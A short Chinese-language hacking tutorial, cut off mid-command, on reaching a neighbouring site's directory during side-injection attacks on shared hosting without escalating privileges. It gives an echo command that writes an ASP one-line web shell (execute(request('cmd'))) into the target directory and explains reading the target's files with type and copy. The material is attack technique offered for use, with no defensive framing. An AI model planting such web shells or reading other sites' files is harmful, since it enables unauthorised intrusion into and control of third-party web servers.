跨目录的写shell方法总结

　　很多同学旁注的时候发现不能直跳转到目标目录后就想到了提权，然而，对我等菜鸟来说，提权现在是越来越难。很多时候，其实不一定要提权，我们可以想想其它方法。这里简单介绍旁注时比较有用的跨目录读写文件。

　　1、跨目录写文件。

　　很多时候，我们不能直接跳转浏览目标目录，这时候就可以尝试直接写文件到目标目录了 。这里就要求我们要有执行命令的权限了，方法是用echo或copy命令：echo ^<%execute(request(“cmd”))%^> >>X:\目标目录\X.asp 或者:：copy 脚本文件 X:\目标目录\X.asp 。

　　2、跨目录读文件。

　　如果还是上面的情况，不过这次多了个限制，直接写文件如果不成功怎么办呢？既然不能写，我们还可以试试读。这里一般也是用到两个命令：type和 copy。方法：type X:\目标目录\ index.asp（假设index.asp存在)直接读取或者copy X:\目标目录\

标签分类：